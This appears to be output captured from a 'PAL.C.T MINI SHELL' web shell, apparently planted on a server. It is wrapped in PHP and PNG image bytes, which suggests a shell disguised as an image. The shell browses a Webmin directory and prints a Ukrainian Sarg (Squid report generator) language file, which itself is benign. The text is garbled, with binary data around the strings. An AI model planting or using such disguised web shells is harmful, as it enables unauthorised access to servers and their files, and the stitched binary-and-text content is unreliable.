php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/sarg/lang/
upload
files >> //usr/libexec/webmin/sarg/lang/uk.auto

index_title=Генератор звітів про кальмарів
index_econf=Файл конфігурації Sarg $1 у вашій системі не знайдено. Можливо, Sarg не встановлений, або конфігурація модуля <a href='$2'></a> неправильна.
index_ecmd=Програма Sarg $1 не знайдена у вашій системі. Можливо, він не встановлений, або конфігурація модуля <a href='$2'></a> неправильна.
index_eversion=Не вдалося отримати версію Sarg з командою $1 : $2 
index_version=Версія Sarg $1 
index_generate=Створити звіт зараз
index_generatedesc=Натисніть цю кнопку, щоб негайно створити звіт Sarg у $1, використовуючи поточну конфігурацію.
index_clear=Видалити наявний звіт у каталозі?
index_range=Створити звіт для діапазону дат
index_view=Переглянути згенерований звіт
index_viewdesc=Перегляньте останній згенерований звіт у каталозі $1.
index_return=індекс модуля

log_title=Джерело журналу та призначення звіту
log_header=Вихідний файл журналу кальмарів та створені параметри звіту
log_access_log=Вихідний файл журналу кальмарів
log_squid=Поточний журнал сервера кальмарів ($1)
log_other=Інший файл
log_output_dir=Каталог звіту про призначення
log_output_email=Повідомте електронний лист на адресу
log_nowhere=Ніде
log_useragent_log=Файл журналу агента користувача
log_lastlog=Кількість звітів, які потрібно зберегти
log_unlimit=Необмежений
log_mail_utility=Команда надсилання пошти
log_remove_temp_files=Видалити тимчасові файли після звітування?
log_err=Не вдалося зберегти параметри джерела журналу
log_efile=Файл не існує
log_edir=Каталог не існує
log_elastlog=Відсутня чи ні цифра
log_eemail=Відсутня або недійсна електронна адреса
log_emailx=Відсутня або неіснуюча поштова програма
log_squidguard_log_path=Файл журналу SquidGuard

style_title=Стиль звіту
style_header=Стиль та параметри кольорів звіту HTML
style_title2=Назва звіту
style_font_face=Повідомте про шрифт тіла
style_header_color=Колір заголовка
style_header_bgcolor=Колір фону заголовка
style_header_font_size=Розмір шрифту заголовка
style_background_color=Колір фону
style_text_color=Колір тексту
style_text_bgcolor=Колір тексту тексту
style_title_color=Колір заголовка
style_logo_image=Посилання на зображення для логотипу
style_image_size=Розмір зображення (ширина та висота)
style_logo_text=Текст для логотипу
style_logo_text_color=Колір тексту для логотипу
style_background_image=Посилання на зображення для фону
style_err=Не вдалося зберегти параметри стилю звіту
style_etitle=Відсутня назва звіту
style_ecolour=Відсутнє або недійсне ім'я кольору або код RRGGBB
style_efontsize=Відсутній або недійсний зміщений розмір шрифту
style_efont=Відсутнє або недійсне ім’я шрифту
style_esize=Відсутня або недійсна ширина та висота зображення
style_language=Мова звіту
style_charset=Повідомте набір символів

report_title=Параметри звіту
report_header=Повідомте про вміст та параметри створення
report_resolve_ip=Вирішити IP-адреси?
report_user_ip=Використовувати IP-адреси замість ідентифікаторів користувачів?
report_user_sort_field=Замовлення звіту користувача
report_topuser_sort_field=Замовлення звіту для головних користувачів
report_reverse=У зворотному порядку
report_forward=У прямому порядку
report_by_user=За іменем користувача
report_by_connect=За часом підключення
report_by_bytes=За байтами
report_by_time=За часом
report_by_site=За сайтом
report_exclude_users=Перелік файлів користувачів, які потрібно виключити
report_exclude_hosts=Перелік файлів хостів, які потрібно виключити
report_index=Повторно генерувати файл <tt>index.html</tt>?
report_only=Створіть лише <tt>index.html</tt>
report_overwrite_report=Перезаписати звіт за дату?
report_overno=Ні, перейменуйте на.1
report_records_without_userid=Дія для записів без користувача?
report_ignore=Повністю ігноруйте
report_ip=Використовуйте натомість IP-адресу
report_everybody=Використовуйте ім'я користувача <tt>всі</tt>
report_use_comma=Використовуйте коми замість. у числах?
report_topsites_num=Кількість найпопулярніших сайтів для показу
report_topsites_sort_order=Замовлення звіту про найпопулярніші сайти
report_sorta=Зростання
report_sortd=Спад
report_index_sort_order=Замовлення посилань у <tt>index.html</tt>
report_exclude_codes=Перелік файлів HTTP-кодів, які потрібно виключити
report_max_elapsed=Максимально минулий час (мс)
report_report_type=Звіт, щоб створити розділи
report_topsites=Топ-сайти
report_topusers=Кращі користувачі
report_sites_users=Сайти за користувачем
report_users_sites=Користувачі на сайті
report_date_time=Використання по днях і годинах
report_denied=Заборонені сайти
report_downloads=Завантаження
report_auth_failures=Помилки аутентифікації
report_site_user_time_date=Сайти, дати, час і байти
report_all=Усі звіти
report_below=Вибрано нижче ..
report_usertab=Файл зі відображенням імені користувача
report_long_url=Показати повні URL-адреси у звіті?
report_date_time_by=Сортувати дату/час звіту за
report_bytes=Байти
report_elap=Витрачений час
report_user_invalid_char=Недійсні символи в іменах користувачів
report_privacy=Сховати відвідувані сайти?
report_privacy_string=Текст заміни для відвідуваних сайтів
report_privacy_string_color=Колір для заміни тексту
report_below2=Введено нижче ..
report_include_users=Згенеруйте звіт лише для користувачів
report_exclude_string=Виключити рядки журналів, що містять
report_allusers=Всі користувачі
report_nostrings=Не виключайте жодного
report_topuser_num=Кількість головних користувачів для показу
report_site_user_time_date_type=Формат сайту, користувача, дати та часу
report_table=Таблиця HTML
report_list=Список тексту
report_displayed_values=Показувати трафік як
report_bytes2=Байти
report_abbrev=Скорочено (K, M, G)
report_weekdays=Будні, які потрібно включити до звіту
report_weekdays0=Су
report_weekdays1=Пн
report_weekdays2=Ту
report_weekdays3=Ми
report_weekdays4=Чт
report_weekdays5=О
report_weekdays6=Са
report_hours=Години, які потрібно включити до звіту
report_err=Не вдалося зберегти параметри звіту
report_efile=Файл не існує
report_enum=Не число
report_echar=Пробіли заборонені
report_estring=Відсутній або недійсний текст заміни
report_eselect=Нічого не вибрано
report_eenter=Нічого не вводилося

sched_title=Створення запланованого звіту
sched_header=Планові варіанти звітності
sched_sched=Увімкнено плановий звіт?
sched_yes=Так, часом, вибраним нижче ..
sched_clear=Очистити каталог звітів кожен раз?
sched_dir=Каталог звітів
sched_edir=На сторінці <a href='$1'>джерела журналу та призначення звіту</a> не визначено жодного каталогу звітів про призначення. Це потрібно встановити до того, як можна буде включити заплановану звітність.
sched_esfile=Жоден файл журналу кальмарів не визначений на сторінці <a href='$1'>Джерело журналу та призначення звіту</a>. Це потрібно встановити до того, як можна буде включити заплановану звітність.
sched_range=Створити звіт для діапазону дат
sched_rall=Усі записи у файлі журналу
sched_rsel=Ті, від $1 до $2 дні тому
sched_err=Не вдалося зберегти заплановану генерацію звіту
sched_erfrom=Відсутня або недійсна початкова кількість днів тому
sched_erto=Відсутня або недійсна кінцева кількість днів тому

view_title=Звіт про Сарг
view_efile=Недійсне ім’я файлу!
view_eopen=Не вдалося відкрити файл звіту

gen_title=Створити звіт
gen_header=Тепер генерується звіт Sarg з файлу журналу Squid $1 та всіх повернутих версій ..
gen_done=.. зроблено
gen_failed=.. Сарг провалився! Детальніше дивіться у висновку вище.
gen_nothing=.. Сарг закінчив, але звіт не формувався. Детальніше дивіться у висновку вище.
gen_view=Переглянути готовий звіт.
gen_err=Не вдалося створити звіт
gen_efrom=Відсутній або недійсний з дня
gen_eto=Відсутній або недійсний на сьогоднішній день

webmin_log_log=Оновлені джерела журналу та параметри призначення звіту
webmin_log_report=Оновлені параметри звіту
webmin_log_style=Оновлені параметри стилю звіту
webmin_log_sched_create=Увімкнено планову звітність
webmin_log_sched_delete=Вимкнено планову звітність
webmin_log_sched_update=Оновлено планову звітність
webmin_log_sched_nothing=Залишене планове звітування відключено
webmin_log_generate=Згенерований звіт
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`